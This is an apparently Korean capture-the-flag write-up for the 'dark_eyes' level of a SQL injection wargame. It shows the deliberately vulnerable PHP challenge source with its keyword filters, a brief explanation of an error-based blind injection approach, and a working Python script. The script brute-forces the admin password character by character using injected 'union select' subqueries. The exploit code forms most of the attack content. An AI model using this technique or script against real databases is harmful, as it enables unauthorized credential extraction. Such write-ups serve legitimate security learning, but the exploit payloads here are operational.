<?php
include "./config.php";
login_chk();
dbconnect();
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
if(preg_match('/col|if|case|when|sleep|benchmark/i', $_GET[pw])) exit("HeHe");
$query = "select id from prob_dark_eyes where id='admin' and pw='{$_GET[pw]}'";
$result = @mysql_fetch_array(mysql_query($query));
if(mysql_error()) exit();
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$_GET[pw] = addslashes($_GET[pw]);
$query = "select pw from prob_dark_eyes where id='admin' and pw='{$_GET[pw]}'";
$result = @mysql_fetch_array(mysql_query($query));
if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("dark_eyes");
highlight_file(__FILE__);
?>
썸네일이 무서운 고양이..
이번에는 if를 사용할 수 없다. 삼항연산자 (Conditinal operator)를 사용해보려고 짱구를 굴렸으나 case가 막혀있어서 안된다
아까 문제는 에러를 출력해준 반면 이 문제는 그냥 exit한다. 뭐.. 별 다를바가 없다. 이 문제에서는 에러를 어떻게 일으키는지가 초점이고, 화면이 표시 안되는건 그냥 반환 값이 0이냐 아니냐로 확인하면된다.
#!/usr/bin/env python
# -*- coding: utf8 -*-
import requests
headers = {'Host': 'los.eagle-jump.org', 'Cookie': 'PHPSESSID=;'}
url = "http://los.eagle-jump.org/dark_eyes_.php"
string = "0123456789ABCDEF"
loop = 0
pw = ''
for j in range(1,100):
data = "' || ( id='admin' && (select length(hex(pw))={} union select 1 )) ;".format(j)
data = requests.utils.quote(data)
r = requests.get(url+'?pw='+data+"%00",headers=headers)
print r.text
if len(r.text) > 0:
loop = j
break
print loop
for i in range(1,loop+1):
for j in string:
data = "' || ( id='admin' && (select right(left(hex(pw),{}),1) = 0x{} union select 1 )) ;".format(i,str(j).encode('hex'))
data = requests.utils.quote(data)
r = requests.get(url+'?pw='+data+"%00",headers=headers)
if len(r.text) > 0:
pw = pw + str(j)
print "[!] found",pw
break
print pw